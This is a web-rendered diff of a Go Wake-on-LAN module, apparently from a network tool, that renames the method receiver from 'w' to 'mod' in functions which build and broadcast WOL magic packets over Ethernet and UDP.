||||||
|
|
||||||
func (w *WOL) Author() string {
|
func (mod *WOL) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WOL) Configure() error {
|
func (mod *WOL) Configure() error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WOL) Start() error {
|
func (mod *WOL) Start() error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WOL) Stop() error {
|
func (mod *WOL) Stop() error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -99,14 +99,14 @@ func buildPayload(mac string) []byte {
|
||||||
return payload
|
return payload
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WOL) wolETH(mac string) error {
|
func (mod *WOL) wolETH(mac string) error {
|
||||||
w.SetRunning(true, nil)
|
mod.SetRunning(true, nil)
|
||||||
defer w.SetRunning(false, nil)
|
defer mod.SetRunning(false, nil)
|
||||||
|
|
||||||
payload := buildPayload(mac)
|
payload := buildPayload(mac)
|
||||||
w.Info("sending %d bytes of ethernet WOL packet to %s", len(payload), tui.Bold(mac))
|
mod.Info("sending %d bytes of ethernet WOL packet to %s", len(payload), tui.Bold(mac))
|
||||||
eth := layers.Ethernet{
|
eth := layers.Ethernet{
|
||||||
SrcMAC: w.Session.Interface.HW,
|
SrcMAC: mod.Session.Interface.HW,
|
||||||
DstMAC: layers.EthernetBroadcast,
|
DstMAC: layers.EthernetBroadcast,
|
||||||
EthernetType: 0x0842,
|
EthernetType: 0x0842,
|
||||||
}
|
}
|
||||||
|
@ -117,18 +117,18 @@ func (w *WOL) wolETH(mac string) error {
|
||||||
}
|
}
|
||||||
|
|
||||||
raw = append(raw, payload...)
|
raw = append(raw, payload...)
|
||||||
return w.Session.Queue.Send(raw)
|
return mod.Session.Queue.Send(raw)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (w *WOL) wolUDP(mac string) error {
|
func (mod *WOL) wolUDP(mac string) error {
|
||||||
w.SetRunning(true, nil)
|
mod.SetRunning(true, nil)
|
||||||
defer w.SetRunning(false, nil)
|
defer mod.SetRunning(false, nil)
|
||||||
|
|
||||||
payload := buildPayload(mac)
|
payload := buildPayload(mac)
|
||||||
w.Info("sending %d bytes of UDP WOL packet to %s", len(payload), tui.Bold(mac))
|
mod.Info("sending %d bytes of UDP WOL packet to %s", len(payload), tui.Bold(mac))
|
||||||
|
|
||||||
eth := layers.Ethernet{
|
eth := layers.Ethernet{
|
||||||
SrcMAC: w.Session.Interface.HW,
|
SrcMAC: mod.Session.Interface.HW,
|
||||||
DstMAC: layers.EthernetBroadcast,
|
DstMAC: layers.EthernetBroadcast,
|
||||||
EthernetType: layers.EthernetTypeIPv4,
|
EthernetType: layers.EthernetTypeIPv4,
|
||||||
}
|
}
|
||||||
|
@ -137,7 +137,7 @@ func (w *WOL) wolUDP(mac string) error {
|
||||||
Protocol: layers.IPProtocolUDP,
|
Protocol: layers.IPProtocolUDP,
|
||||||
Version: 4,
|
Version: 4,
|
||||||
TTL: 64,
|
TTL: 64,
|
||||||
SrcIP: w.Session.Interface.IP,
|
SrcIP: mod.Session.Interface.IP,
|
||||||
DstIP: net.ParseIP("255.255.255.255"),
|
DstIP: net.ParseIP("255.255.255.255"),
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -154,5 +154,5 @@ func (w *WOL) wolUDP(mac string) error {
|
||||||
}
|
}
|
||||||
|
|
||||||
raw = append(raw, payload...)
|
raw = append(raw, payload...)
|
||||||
return w.Session.Queue.Send(raw)
|
return mod.Session.Queue.Send(raw)
|
||||||
}
|
}
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue